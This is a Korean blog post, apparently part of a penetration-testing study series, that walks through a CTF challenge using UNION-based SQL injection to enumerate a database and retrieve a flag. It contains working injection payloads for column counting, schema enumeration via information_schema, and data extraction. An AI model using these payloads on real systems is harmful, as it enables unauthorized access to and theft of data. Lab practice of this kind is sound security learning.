이번 문제는 진짜 데이터를 찾으면 되는 문제이다.
1. SQL 인젝션 확인 및 로직 파악하기
우선 'normaltic'으로 검색해 본다.
검색 시 데이터가 나오긴 하지만 무의미한 데이터인 것 같다.
그다음 지금 어떠한 정보도 없기 때문에 SQL인젝션을 해보겠다.
- normaltic' and '1' = '1 -> normaltic정보로 실행 성공
- SQL 인젝션이 가능하다.
- normaltic%' and '1' = '1' # -> 다른 정보로 실행 성공
- %normaltic ' and '1' = '1 -> 다른 정보로 실행 성공
- normaltic' or '1' = '1 -> normaltic정보로 실행 성공
- normaltic%' or '1' = '1' # -> normaltic정보로 실행 성공
- %normaltic' or '1' = '1 -> normaltic정보로 실행 성공
위의 결과 SQL구문은
select * from TABLE where ID like '검색어'
일 것으로 예상되며 nomaltic 이외 다를 데이터에 플래그가 저장되어 있을 가능성이 있다.
2. 컬럼 개수 확인
- normaltic' order by 1 # -> 실행 성공
- normaltic' order by 2 # -> 실행 성공
- normaltic' order by 3 # -> 실행 성공
- normaltic' order by 4 # -> 실행 성공
- normaltic' order by 5 # -> 실행 성공
- normaltic' order by 6 # -> 실행 성공
- normaltic' order by 7 # -> 실행 실패
- 컬럼 개수는 총 7개 이다.
3. 출력되는 컬럼 위치 확인
' union select 1,2,3,4,5,6 #
6번 컬럼 즉 Info 자리에서 데이터 조회 시 정보를 확인할 수 있다.
4. DB명 확인
' union select 1,1,1,1,1,group_concat(database()) #
5. Table명 확인
' union select 1,1,1,1,1, group_concat(table_name) from information_schema.tables where table_schema = 'sqli_5' #
현재 게시판에 한 줄만 출력되는 것으로 예상하여 GROUP_CONCAT을 사용하였고 그 결과 총 3개의 테이블이 나온다.
6. Cloumn 확인
' union select 1,1,1,1,1, group_concat(column_name) from information_schema.columns where table_name= '테이블명' #
각각의 테이블의 컬럼을 확인해 보면
- 유저에 관한 테이블
- 그 외 테이블
위의 두 테이블 전부 컬럼으로 하나만 가지고 있다.
7. Data 확인
이제 플래그와 관련된 테이블만 보려고 한다.
우선 각 테이블의 데이터 개수를 알아보자.
' union select 1,1,1,1,1,count( * ) from 테이블명 #
각각의 데이터 개수는
각각 1개, 2개의 데이터가 있다는 걸 알 수 있다.
컬럼명과 데이터 개수를 알았으니 이데 데이터를 출력해보려고 한다.
' union select 1,1,1,1,1,컬럼명 from 테이블명 #
우선 데이터를 1개 가지고 있는 테이블을 출력해 보면
아니란 걸 알 수 있다.....
그다음 데이터를 2개 가지고 있는 테이블에 'GROUP_CONCAT'을 사용하여 출력해 보면
플래그 값을 찾을 수 있다.
플래그 값만 나오게 하고 싶다면 'LIMIT'를 사용하여 출력하면 된다.
728x90
반응형
'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글
모의해킹 스터디 CTF 문제 - Error Based SQLi Basic (0) | 2024.12.04 |
---|---|
모의해킹 스터디 7주차 정리 (0) | 2024.12.02 |
모의해킹 스터디 CTF 문제 - SQL Injection 1 (0) | 2024.11.26 |
모의해킹 스터디 6주차 과제 (0) | 2024.11.25 |
모의해킹 스터디 CTF 문제 - Secret Login (0) | 2024.11.25 |